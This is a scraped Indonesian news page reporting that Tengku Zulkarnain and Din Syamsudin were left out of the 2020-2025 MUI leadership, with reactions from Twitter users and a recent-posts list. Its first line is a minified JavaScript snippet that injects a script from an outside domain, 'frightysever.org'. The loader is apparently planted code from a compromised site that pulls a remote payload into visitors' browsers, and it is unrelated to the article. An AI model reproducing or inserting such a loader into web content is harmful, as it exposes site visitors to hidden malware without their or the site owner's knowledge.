(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: WARGA +62

Netizen Labeli Tengku Zul Sebagai ‘Pegiat Sosial Media’ Setelah Tak di MUI


KANALKALIMANTAN.COM, JAWA TENGAH – Restrukturisasi Majelis Ulama Indonesia (MUI) sudah dilakukan. Kepengurusan periode 2020-2025 sudah terbentuk. Masalahnya nama-nama kritis terhadap pemerintah terdepak.

Misalnya nama Tengku Zulkarnain dan Din Syamsudin. Dua tokoh ini tidak masuk dalam kepengurusan MUI periode saat ini. Padahal, pada periode 2015-2020, Din merupakan Ketua Dewan Pertimbangan MUI. Sementara Tengku Zul merupakan Wasekjen MUI.

Ditengarai, tidak masuknya nama-nama tersebut karena Wakil Ketua Komisi VIII DPR, Ace Hassan Syadzily menegaskan MUI bukan merupakan sebuah organisasi politik.

“Soal tidak masuknya nama-nama yang kritis dalam kepengurusan MUI terhadap pemerintahan Jokowi, MUI bukan organisasi politik. MUI itu tempat berhimpunnya ormas-ormas Islam yang tujuannya bukan untuk kepentingan politik, tetapi untuk kemaslahatan umat,” kata Ace kepada wartawan, Jumat (27/11/2020).

 

Menyikapi akan hal ini, Tengku Zul menerimanya dengan legowo (lapang dada). Melalui akun Twitternya, ia mengucapkan selamat kepada kepengurusan yang baru.

“Kami mengucapkan selamat kepada pengurus MUI priode tahun 2020-2025 semoga MUI ke depan semakin baik dan jaya,” cuit Tengku Zul dikutip Suara.com.

Dia berharap, MUI tetap kritis terhadap kebijakan pemerintah yang dinilai tidak pro rakyat.

“Tetap kritis terhadap kebijaksanaan Pemerintah yg dinilai kurang pro rakyat dan umat. Selamat bekerja dan semakin sukses. Amin. (Tengku Zulkarnain),” tandasnya.

Tidak hanya itu, Tengku juga langsung mengubah bio di akun Twitternya dari yang sebelumnya mencantumkan jabatannya sebagai Wasekjen MUI.

Bio tersebut kini berubah dengan kalimat “orang main sruduk itu tandanya kalap.”

Hingga artikel ini diketik, cuitan Tengku Zul tersebut telah disukai hingga 6500 pengguna Twitter dan menuai banyak komentar.

“Alhamdulillah. Pak tengku sudah tidak di MUI lagi. Jadi banyak waktu buat ngurusin ayamnya,” celetuk warganet dengan akun @Shofa***

“Alhamdulillah jul.. namamu gak masuk,” sahut warganet lainnya @khoo***

“Turut berduka cita Wak Zul. Kalo diundang Ceramah, nnt dibalihonya ditulis sebagai “Pegiat Sosial Media,” kata warganet lainnya @wakya*** (Suara)


Al Ghifari

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

22 menit ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

2 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

12 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

13 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

13 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

13 jam ago

This website uses cookies.